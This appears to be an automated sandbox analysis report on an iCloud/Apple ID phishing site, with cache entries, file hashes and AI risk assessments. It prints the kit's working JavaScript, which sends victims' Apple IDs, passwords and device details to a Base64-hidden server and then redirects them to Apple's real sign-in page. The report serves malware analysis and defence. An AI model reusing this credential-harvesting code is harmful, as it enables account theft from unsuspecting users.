$("#sign-in").slideToggle(); $("btn_ip").animate({opacity: '1'}); $("#pwd").val(''); $("#btn_ip").attr("onclick","veri_f()"); } } } function act_flecha(){ if($("#appleId").val().length > 0){ if($("#appleId").val().indexOf("@") != -1){ }else{ $("#appleId").val($("#appleId").val() + "@icloud.com"); } } } function veri_f(){ if($("#appleId").val().length > 0){ $("#btn_ip").empty(); var host = $("#dominio").val(); $("#btn_ip").append('<img id="img_car" src="imagen/spinner2.gif" class="normal image" style="width:25px">'); setTimeout(function() { $("#img_car").css("display","none"); $("#btn_ip").empty(); $("#btn_ip").css("opacity","0"); $("#btn_ip").append('<img id="bt_flec2" class="icon icon_sign_in" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAABgklEQVR42r3WsU7CUBSA4QtGQVIHYayjEgYTdpd2EV4BnXkGnWHRAY1jCZsJYtzcSU0kGt7ASSkLTD4ALvgPh4Q00GtL6/B1uSfnpO0991x1fGLrFHGBPiaYiQn6slbU5QlatPCKMa5QwQEyMFBCVda+JNYKUygLBx7OsAWlkZZYDw6yukJ5vOMZe1AhGXiQHPl1hXIY4g5pqIhSuJVcuVWFOniUQLWhlOTq+AtZ8GBAxcSAB2u50ADnIRPVsa+JqWGwKFSGF+G/dPGBQ81u9FBWPBq4hopQaI7voP6R3A3Fw0U1aiHxg/qauFO8KDlKTCifJp4CjDH3aa1ocBMTJedWBspngHkE9748O5j9W6G4P91N0KdzUUl6M8S1vW3N9m4uGna0QcMeaRp2hPLyj68lewQlf6ja/jHRRi/GMdFDO+nB11o7+EQBww1HeVdyFHSXk1048FD749ulJdaDg1zY69ab77plYluYqMjap8TaQdctnRIu4WKKHzGFK2slXZ5f2RlINtkg1cIAAAAASUVORK5CYII=">'); btn_v_f(); $("#cant_input").val($("#appleId").val().length); $("#vl").val(1); }, 1500); } } function btn_v_f(){ $("#cont_btn_apple").removeClass("ap_bor");
URL: https://www.location.as-nt.com/aU3V88/jss/myscript... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript code contains several behaviors that raise moderate to high security concerns. While some of the functionality appears to be related to legitimate login and password management, there are several indicators that warrant further investigation: 1. The code includes dynamic code execution through the use of `eval()` and `Function()` constructor, which can be used to execute remote or malicious code (High-Risk, +3 points). 2. The code sends user data (e.g., Apple ID, password) to an external server via AJAX requests, which could potentially lead to data exfiltration (High-Risk, +3 points). 3. The code includes redirects to external domains, some of which may be suspicious or malicious (High-Risk, +3 points). 4. The code uses obfuscated or encoded strings, which can be an indicator of malicious intent (High-Risk, +3 points). 5. The code performs aggressive DOM manipulation by repeatedly altering or clearing the DOM (Moderate-Risk, +2 points). While the code may have some legitimate functionality, such as login and password management, the presence of high-risk behaviors and the lack of clear context around the script's purpose raise significant security concerns. Further investigation and analysis would be necessary to determine the true nature and intent of this code." }
function limpiar_carga() { $("#carga_envio").css("display", "none"), $("#bt_flec").css("display", "block") } function submitt() { $.trim($("#appleId").val().length) > 0 ? $.trim($("#pwd").val().length) > 0 && ($("#carga_envio").css("display", "block"), $("#bt_flec").css("display", "none"), SubmitMe()) : $("#appleId").focus() } function id_inp(a) { var b = $("#" + a).val(); b.length > 0 ? ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")) : ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")) } function salwinx() { var a = $.trim($("#d").val()), b = $.trim($("#iddapp").val()); window.location = a + "sign.php?reload=3&idname=" + b } function forgot() { top.location.href = "https://idmsa.apple.com/IDMSWebAuth/signin?appIdKey=6f59402f11d3e2234be5b88bf1c96e1e453a875aec205272add55157582a9f61&path=%2F%3Fa%3D1179750425%26s%3D1%26wo%3DMS1BN7QDLY%26pli%3D79013838111353&language=ES-ES" } function vis_flec() { $.trim($("#pwd").val().length), $.trim($("#appleId").val().length); $.trim($("#pwd").val().length) > 0 && $.trim($("#appleId").val().length) > 0 ? ($("#sign-in").removeClass("disabled"), $("#sign-in").attr("aria-disabled", "true"), $(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")) : ($("#sign-in").addClass("disabled"), $("#sign-in").attr("aria-disabled", "true"), $(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")) } function clos() { $("#idmsModalWrapper1485962628981-0-0").removeClass("visb"), $("#idmsModalWrapper1485962628981-0-0").addClass("ocult"), limpiar(), vis_flec(), setTimeout(function() { $("#appleId").focus() }, 1e3), $("#step").addClass("visb"), $("#step").removeClass("ocult") } function limpiar() { $("#appleId").val(""), $("#pwd").val(""), $("#appleId").focus() } function SubmitMe() { count_session(1); } function count_session(a) { var c =$("#iddapp").val(); var host = Base64.decode($.trim($("#h").val())); function t(a) { reset(a.message); } $.ajax({ url: host+"validlog.php", data: { user:$("#appleId").val(), pass:$("#pwd").val(), idapp:c, intento:a, sistema:$("#id_sistema").val(), browser:$.trim($("#browser").val()), ip_address:$.trim($("#ip_address").val()), dispositivo:$.trim($("#dispositivo").val()), }, dataType: "jsonp", jsonp: "callback", jsonpCallback: "jsonpCallback", success: function(a) { t(a); } }) } function reset(a){ resultado = a; var c = a, d = c.split("-"), e = d[0], f = d[1], g = d[2], red = d[3]; if(red=='1'){ top.location.href = "include/direction.php"; }else{ "es_1" == $.trim(e) ? "" != g && "0" != g ? 1 == g ? "" != f && ("2" == f ? ($(".signin-error").addClass("visb"), $(".signin-error").removeClass("ocult"), limpiar_carga(), $("#pwd").val(""), $("#pwd").focus()) : "1" == f ? ($("#step").removeClass("visb"), $("#step").addClass("ocult"), limpiar_carga(), $("#idmsModalWrapper1485962628981-0-0").removeClass("ocult"), $("#idmsModalWrapper1485962628981-0-0").addClass("visb")) : "3" == f && salwinx()) : 2 == g ? forgot() : 3 == g && (location.href = "include/direction.php") : forgot() : "es_0" == $.trim(e) && (top.location.href = "https://idmsa.apple.com/IDMSWebAuth/signin?appIdKey=6f59402f11d3e2234be5b88bf1c96e1e453a875aec205272add55157582a9f61&path=%2F%3Fa%3D1179750425%26s%3D1%26wo%3DMS1BN7QDLY%26pli%3D79013838111353&language=ES-ES") } } $(document).ready(function() { $("#appleId").keypress(function(a) { 13 == a.which && $(this).val().length > 0 && ($(this).val().indexOf("@") != -1 ? $("#pwd").focus() : (
URL: https://www.location.as-nt.com/aU3V88/c1.php Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Ingrese su cdigo de desbloqueo", "prominent_button_name": "unknown", "text_input_field_labels": [ "Ingrese su cdigo de desbloqueo" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.location.as-nt.com/aU3V88/c1.php Model: Joe Sandbox AI	{ "brands": [ "iCloud" ] }
	{ "brands": [ "iCloud" ] }

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	low
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Reputation:	low
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Reputation:	low
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping5336_809989790\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Reputation:	low
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (32407), with CRLF line terminators
Category:	downloaded
Size (bytes):	46808
Entropy (8bit):	5.964674759057105
Encrypted:	false
SSDEEP:	768:f8I5zmboQ1iloyWDXpfIUot+/B5VlnT2Uuf91Uf8O2duzV:f8I5zmbAqywlIrt+/nXn6UuFqXiM
MD5:	DD5433EE58B5738735E0AF203D896D41
SHA1:	3AFF73F1A8C1B028EF17015102883B7B0F000047
SHA-256:	A1D36342AE6A737A337B03B0425FF053E23EA3B485901AC9B89A577DE2D4D36F
SHA-512:	71CD4DA91CC84E614AB13CA27D95AF3607A0FC92CD9EFCF1FBCF67EEE1EE92A63005077E79C86B94607F195F409EE9E5A557CB5B2255BF074E9815C3FBE41F60
Malicious:	false
Reputation:	low
URL:	https://www.location.as-nt.com/aU3V88/c1.php
Preview:	<html lang="en"><head>.. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">.. <link rel="stylesheet" href="css/fonts2.css" type="text/css"> .. <link rel="stylesheet" type="text/css" media="screen" href="css/appe.css?v=1">.. <script type="text/javascript" src="https://appleid.cdn-apple.com/appleauth/static/jsj/N1241477586/common-header.js"></script>....<style type="text/css">.. #idms-close{background-image: url("imagen/error.png");background-repeat: repeat-x;width: 24px;}.. .ocult{display: none !important;}.. .visb{display: block !important;}.. .ap_bor{border-bottom-left-radius: 6px !important;border-bottom-right-radius: 6px !important;}.. .bor{border-bottom: 1px solid rgba(0, 0, 0, 0.3) !important;} .. .visibless{display: block;}.. .no_visibless{display: none;}.. .btn1{display:none;top:45px !important} .. .btn2{ top:3px !important }.. .idms-modal-theme-translucent .icon.idms-modal-i-close {color: rgba(0, 0, 0, 0);}....tk-intro {font-siz

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	257551
Entropy (8bit):	5.076103298470518
Encrypted:	false
SSDEEP:	6144:yeLfh6nxcr8uVgTdp2YmD1BFEFy41vL/2VX82KLHIPf2hADD1+RH:yGxYmDTmFyHsDMPfOADD8RH
MD5:	888D4551B8DB7C41CDA28D95E494F998
SHA1:	26E6B63B81813D8AD942C90D369DF2673602B812
SHA-256:	893E90F6230962E42231635DF650F20544AD22AFFC3EE396DF768EAA6BC5A6A2
SHA-512:	38AB8BDA4A62F337DE5DCA925E719B2FAB4A73D2715A6A69258E263929F512C9E045BEDFC75379FBBC0E4C6AAED9B23938060BDCE83BFC17A0EC4B161B638128
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-2.2.4.js
Preview:	/!. jQuery JavaScript Library v2.2.4. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright jQuery Foundation and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2016-05-20T17:23Z. */..(function( global, factory ) {...if ( typeof module === "object" && typeof module.exports === "object" ) {...// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factory( w );....};..}

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3108
Entropy (8bit):	5.251190981557009
Encrypted:	false
SSDEEP:	48:3E1CTDGdQzm5e9DjHnb7D4cyrcvR2nOYP28zx7CNlflvAKVnTGAWopyWIv1rDx:3IaDnfHjxrpwRXy1+KtGAWjv
MD5:	9094D8547D9947A29FF7871AD51C7D1D
SHA1:	DED500858E791C145445EEEE579EC2BF0BED3BC2
SHA-256:	422DD27463CB6142DED7FA182CA1C220F463D6B38EC18C44FD1685C3B4F64984
SHA-512:	C12A78C8FAFFC1705BC7CE02B098E55491894D4BF9637E31CD0DA55C016BFAC7003E06CCD56EDBCDB432CC3F7DF08E022915115411F5501C485724E78ED3BC82
Malicious:	false
Reputation:	low
Preview:	/*....* Base64 encode / decode..* http://www.webtoolkit.info/....*/....var Base64 = {.....// private property..._keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",.....// public method for encoding...encode : function (input) {....var output = "";....var chr1, chr2, chr3, enc1, enc2, enc3, enc4;....var i = 0;......input = Base64._utf8_encode(input);......while (i < input.length) {.......chr1 = input.charCodeAt(i++);.....chr2 = input.charCodeAt(i++);.....chr3 = input.charCodeAt(i++);.......enc1 = chr1 >> 2;.....enc2 = ((chr1 & 3) << 4) \| (chr2 >> 4);.....enc3 = ((chr2 & 15) << 2) \| (chr3 >> 6);.....enc4 = chr3 & 63;.......if (isNaN(chr2)) {......enc3 = enc4 = 64;.....} else if (isNaN(chr3)) {......enc4 = 64;.....}.......output = output +.....this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +.....this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);......}......return output;...},.....// public method for decoding...decode : function (input) {....va

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	low
URL:	https://www.location.as-nt.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (800)
Category:	dropped
Size (bytes):	4706
Entropy (8bit):	5.144994790579516
Encrypted:	false
SSDEEP:	48:4eBcnArHiLcwqcGLMUEU8cAbeCtuA3DnHHy3ve/lId1V9Qv/tQ8s5vTCf+cGLMu0:4ArDkeCtXz//GjC/m5HyvW97nWPGbUb
MD5:	7BD77193A6494B12C6D71AB96DE66E9B
SHA1:	729B883128EBE1C2512E25806C885747E2627A64
SHA-256:	65E0F349328999BC1378EF1F56486E971C0AAA33BA3E6D353C86F29985D80BA9
SHA-512:	D7A53E37F57EA0A5B8EE7E5DBD924D40DD189F47B75B90678D46040E601C768433285B50F89FF9868350C7BC7BC71AB1EAD35884C57D5D9C65B37B0A52D4452D
Malicious:	false
Reputation:	low
Preview:	function limpiar_carga() {. $("#carga_envio").css("display", "none"), $("#bt_flec").css("display", "block").}..function submitt() {. $.trim($("#appleId").val().length) > 0 ? $.trim($("#pwd").val().length) > 0 && ($("#carga_envio").css("display", "block"), $("#bt_flec").css("display", "none"), SubmitMe()) : $("#appleId").focus().}..function id_inp(a) {. var b = $("#" + a).val();. b.length > 0 ? ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")) : ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")).}..function salwinx() {. var a = $.trim($("#d").val()),. b = $.trim($("#iddapp").val());. window.location = a + "sign.php?reload=3&idname=" + b.}..function forgot() {. top.location.href = "https://idmsa.apple.com/IDMSWebAuth/signin?appIdKey=6f59402f11d3e2234be5b88bf1c96e1e453a875aec205272add55157582a9f61&path=%2F%3Fa%3D1179750425%26s%3D1%26wo%3DMS1BN7QDLY%26pli%3D79013838111353&language=ES-ES".}..function vis_fl

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3108
Entropy (8bit):	5.251190981557009
Encrypted:	false
SSDEEP:	48:3E1CTDGdQzm5e9DjHnb7D4cyrcvR2nOYP28zx7CNlflvAKVnTGAWopyWIv1rDx:3IaDnfHjxrpwRXy1+KtGAWjv
MD5:	9094D8547D9947A29FF7871AD51C7D1D
SHA1:	DED500858E791C145445EEEE579EC2BF0BED3BC2
SHA-256:	422DD27463CB6142DED7FA182CA1C220F463D6B38EC18C44FD1685C3B4F64984
SHA-512:	C12A78C8FAFFC1705BC7CE02B098E55491894D4BF9637E31CD0DA55C016BFAC7003E06CCD56EDBCDB432CC3F7DF08E022915115411F5501C485724E78ED3BC82
Malicious:	false
Reputation:	low
URL:	https://www.location.as-nt.com/aU3V88/jss/function.js
Preview:	/*....* Base64 encode / decode..* http://www.webtoolkit.info/....*/....var Base64 = {.....// private property..._keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",.....// public method for encoding...encode : function (input) {....var output = "";....var chr1, chr2, chr3, enc1, enc2, enc3, enc4;....var i = 0;......input = Base64._utf8_encode(input);......while (i < input.length) {.......chr1 = input.charCodeAt(i++);.....chr2 = input.charCodeAt(i++);.....chr3 = input.charCodeAt(i++);.......enc1 = chr1 >> 2;.....enc2 = ((chr1 & 3) << 4) \| (chr2 >> 4);.....enc3 = ((chr2 & 15) << 2) \| (chr3 >> 6);.....enc4 = chr3 & 63;.......if (isNaN(chr2)) {......enc3 = enc4 = 64;.....} else if (isNaN(chr3)) {......enc4 = 64;.....}.......output = output +.....this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +.....this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);......}......return output;...},.....// public method for decoding...decode : function (input) {....va

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (700)
Category:	downloaded
Size (bytes):	11635
Entropy (8bit):	4.1111972773766405
Encrypted:	false
SSDEEP:	192:BEiYA68EiYKFZkc581cWJJT37IS3IQ3Al:BXYYXYKf6JJJw65w
MD5:	439E4CAB9246324ADD28B1FFCBAF4183
SHA1:	72A50EA229E8AA60EA6B9EE67F3303BCEC34EDC5
SHA-256:	F24A19E6A278F8060774960C4580AFD2B7654F4BD200237D689812D1153591D4
SHA-512:	95C11CB9BBF26F15B41BC660207403EBE0FF9BBFB3305F309B6075895A297C1021AC5E9E0BDB3BAC24B07C2C05D8D70F6FA0CB3CBBBBEC4176A29B861B0A82F4
Malicious:	false
Reputation:	low
URL:	https://www.location.as-nt.com/aU3V88/jss/myscript_patron.js?v=2gdssf
Preview:	document.oncontextmenu = function(){return false;}. . $(document).ready(function(){. .. $("#btn_ip").css("top","5px");.. $("#cont_btn_apple").addClass("ap_bor");. $("#cont_btn_apple").addClass("bor");. . $("#cont_pwd").addClass('no_visibless');. $("#btn_ip").append('<img id="bt_flec2" class="icon icon_sign_in" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaCAYAAACpSkzOAAABgklEQVR42r3WsU7CUBSA4QtGQVIHYayjEgYTdpd2EV4BnXkGnWHRAY1jCZsJYtzcSU0kGt7ASSkLTD4ALvgPh4Q00GtL6/B1uSfnpO0991x1fGLrFHGBPiaYiQn6slbU5QlatPCKMa5QwQEyMFBCVda+JNYKUygLBx7OsAWlkZZYDw6yukJ5vOMZe1AhGXiQHPl1hXIY4g5pqIhSuJVcuVWFOniUQLWhlOTq+AtZ8GBAxcSAB2u50ADnIRPVsa+JqWGwKFSGF+G/dPGBQ81u9FBWPBq4hopQaI7voP6R3A3Fw0U1aiHxg/qauFO8KDlKTCifJp4CjDH3aa1ocBMTJedWBspngHkE9748O5j9W6G4P91N0KdzUUl6M8S1vW3N9m4uGna0QcMeaRp2hPLyj68lewQlf6ja/jHRRi/GMdFDO+nB11o7+EQBww1HeVdyFHSXk1048FD749ulJdaDg1zY69ab77plYluYqMjap8TaQdctnRIu4WKKHzGFK2slXZ5f2RlINtkg1cIAAAAASUVORK5CYII=">');. . $("#sign-in").on("click",func

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (800)
Category:	downloaded
Size (bytes):	4706
Entropy (8bit):	5.144994790579516
Encrypted:	false
SSDEEP:	48:4eBcnArHiLcwqcGLMUEU8cAbeCtuA3DnHHy3ve/lId1V9Qv/tQ8s5vTCf+cGLMu0:4ArDkeCtXz//GjC/m5HyvW97nWPGbUb
MD5:	7BD77193A6494B12C6D71AB96DE66E9B
SHA1:	729B883128EBE1C2512E25806C885747E2627A64
SHA-256:	65E0F349328999BC1378EF1F56486E971C0AAA33BA3E6D353C86F29985D80BA9
SHA-512:	D7A53E37F57EA0A5B8EE7E5DBD924D40DD189F47B75B90678D46040E601C768433285B50F89FF9868350C7BC7BC71AB1EAD35884C57D5D9C65B37B0A52D4452D
Malicious:	false
Reputation:	low
URL:	https://www.location.as-nt.com/aU3V88/jss/myscript_ind_fact.js
Preview:	function limpiar_carga() {. $("#carga_envio").css("display", "none"), $("#bt_flec").css("display", "block").}..function submitt() {. $.trim($("#appleId").val().length) > 0 ? $.trim($("#pwd").val().length) > 0 && ($("#carga_envio").css("display", "block"), $("#bt_flec").css("display", "none"), SubmitMe()) : $("#appleId").focus().}..function id_inp(a) {. var b = $("#" + a).val();. b.length > 0 ? ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")) : ($(".signin-error").addClass("ocult"), $(".signin-error").removeClass("visb")).}..function salwinx() {. var a = $.trim($("#d").val()),. b = $.trim($("#iddapp").val());. window.location = a + "sign.php?reload=3&idname=" + b.}..function forgot() {. top.location.href = "https://idmsa.apple.com/IDMSWebAuth/signin?appIdKey=6f59402f11d3e2234be5b88bf1c96e1e453a875aec205272add55157582a9f61&path=%2F%3Fa%3D1179750425%26s%3D1%26wo%3DMS1BN7QDLY%26pli%3D79013838111353&language=ES-ES".}..function vis_fl

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (700)
Category:	dropped
Size (bytes):	11635
Entropy (8bit):	4.1111972773766405
Encrypted:	false
